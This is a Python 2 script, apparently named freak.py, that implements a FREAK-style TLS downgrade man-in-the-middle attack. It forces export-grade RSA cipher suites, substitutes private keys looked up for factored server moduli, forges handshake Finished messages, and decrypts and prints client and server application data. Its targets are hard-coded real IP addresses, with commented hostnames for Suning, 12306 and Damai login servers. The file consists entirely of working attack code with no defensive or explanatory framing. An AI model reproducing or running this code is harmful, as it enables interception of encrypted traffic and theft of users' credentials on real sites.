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freak.py
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#!/usr/bin/env python
#encoding: utf-8
from header import *
#ip = 'passport.suning.com'
ip = '119.188.139.98'
ip = '182.118.77.102'
ip = '42.202.151.37'
'''
#ip = "kyfw.12306.cn"
ip = '58.216.21.93'
ip = '61.156.243.247'
ip = '122.70.142.160'
#ip = "secure.damai.cn"
ip = '58.83.157.190'
'''
port = 443
def getKnownKeys():
Ns = {}
f = open('keys.list', 'r')
for i in f.readlines():
if i.find('#') == -1:
l = i.strip().split(', ')
Ns[l[0]] = l[1]
return Ns
def getD(pubkey):
n = pubkey.encode('hex')
Ns = getKnownKeys()
print 'pubkey: ', n
if n in Ns.keys():
d = Ns[n]
print "N hit!", n
else:
print 'N: %s'%n
raise ValueError('Invalid N')
return d.decode('hex')
def clienthelloprocess(csession, ssession, p):
print "Version:%s"%(TLS_VERSIONS[p[TLSHandshake].version])
print "ClientRandom:%s"%p[TLSHandshake].random_bytes.encode('hex')
cslist = p[TLSHandshake].cipher_suites
print "OriginalCipherSuites:"
for i in cslist:
print "\t%s"%parseCS(i)
p[TLSHandshake].cipher_suites_length = 2
p[TLSHandshake].cipher_suites = 3
cslist = p[TLSHandshake].cipher_suites
print "ChangedCipherSuites:"
for i in cslist:
print "\t%s"%parseCS(i)
p[TLSHandshake].session_id_length = 0
p[TLSHandshake].session_id=None
p[TLSHandshake].length = len(str(p[TLSClientHello]))
p.length = len(str(p[TLSHandshake]))
return p
def serverhelloprocess(csession, ssession, p):
print "ServerRandom:%s"%p[TLSHandshake].random_bytes.encode('hex')
print "OriginalCipherSuite:%s"%parseCS(p[TLSHandshake].cipher_suite)
p[TLSHandshake].cipher_suite = 4
print "ChangedCipherSuite:%s"%parseCS(p[TLSHandshake].cipher_suite)
print "CompressionMethod:%s"%p[TLSHandshake].compression_method
p[TLSHandshake].session_id_length = 0
p[TLSHandshake].session_id=None
p[TLSHandshake].length = len(str(p[TLSServerHello]))
p.length = len(str(p[TLSHandshake]))
return p
def certificateprocess(csession, ssession, p):
return p
def clientkeyexgprocess(csession, ssession, p):
return p
def serverkeyexgprocess(csession, ssession, p):
pubkey = str(p[Raw])[:64]
csession.crypto.server.rsa.pubkey = pubkey
ssession.crypto.server.rsa.pubkey = pubkey
prikey = getD(pubkey)
n = int(pubkey.encode('hex'), 16)
e = long(65537)
d = int(getD(pubkey).encode('hex'), 16)
csession.crypto.server.rsa.privkey = prikey
ssession.crypto.server.rsa.privkey = prikey
key = RSA.construct((n, e, d))
csession.crypto.server.rsa.cipher = PKCS1_v1_5.new(key)
ssession.crypto.server.rsa.cipher = PKCS1_v1_5.new(key)
return p
def clientfinishprocess(csession, ssession, p):
if not verify_client_finished(csession, p):
print "Client Finshed Verify Error!!"
return forge_client_finished(ssession, p)
def serverfinishprocess(csession, ssession, p):
if not verify_server_finished(ssession, p):
print "Server Finshed Verify Error!!"
return forge_server_finished(csession, p)
def clientchangecsprocess(csession, ssession, p):
return p
def serverchangecsprocess(csession, ssession, p):
return p
def clientappdataprocess(csession, ssession, p):
dec = csession.crypto.client.dec.decrypt(str(p)[5:])
dec = csession.check_strip_mac(dec)
print 'CLIENT=>SERVER\n', dec
pdata = str(p)[:3]+struct.pack('>H',len(dec))+dec
mac = ssession.clientcalmac(pdata)
enc = ssession.crypto.client.enc.encrypt(dec+mac)
return str(p)[:3]+struct.pack('>H',len(enc))+enc
def serverappdataprocess(csession, ssession, p):
dec = ssession.crypto.server.dec.decrypt(str(p)[5:])
dec = ssession.check_strip_mac(dec)
print 'SERVER=>CLIENT:\n', dec
pdata = str(p)[:3]+struct.pack('>H',len(dec))+dec
mac = csession.servercalmac(pdata)
enc = csession.crypto.server.enc.encrypt(dec+mac)
return str(p)[:3]+struct.pack('>H',len(enc))+enc
def verify_client_finished(csession, p):
decfinish = csession.crypto.client.dec.decrypt(str(p)[5:])
decmac = decfinish[16:]
decfinish = decfinish[:16]
mac = csession.clientcalmac(str(p)[:3]+struct.pack('>H', len(decfinish))+decfinish)
if mac != decmac:
raise ValueError('Finish Mac Error')
caledfinish = csession.calFinish('client finished')
csession.cumulatedmsg += caledfinish
return decfinish == caledfinish
def verify_server_finished(ssession, p):
decfinish = ssession.crypto.server.dec.decrypt(str(p)[5:])
decmac = decfinish[16:]
decfinish = decfinish[:16]
mac = ssession.servercalmac(str(p)[:3]+struct.pack('>H', len(decfinish))+decfinish)
if mac != decmac:
raise ValueError('Finish Mac Error')
caledfinish = ssession.calFinish('server finished')
ssession.cumulatedmsg += caledfinish
return decfinish == caledfinish
def forge_client_finished(ssession, p):
forged_finish = ssession.calFinish('client finished')
ssession.cumulatedmsg += forged_finish
forged_mac = ssession.clientcalmac(str(p)[:3]+struct.pack('>H',len(forged_finish))+forged_finish)
enc = ssession.crypto.client.enc.encrypt(forged_finish + forged_mac)
return str(p)[:3]+struct.pack('>H',len(enc))+enc
def forge_server_finished(csession, p):
forged_finish = csession.calFinish('server finished')
csession.cumulatedmsg += forged_finish
forged_mac = csession.servercalmac(str(p)[:3]+struct.pack('>H',len(forged_finish))+forged_finish)
enc = csession.crypto.server.enc.encrypt(forged_finish + forged_mac)
return str(p)[:3]+struct.pack('>H',len(enc))+enc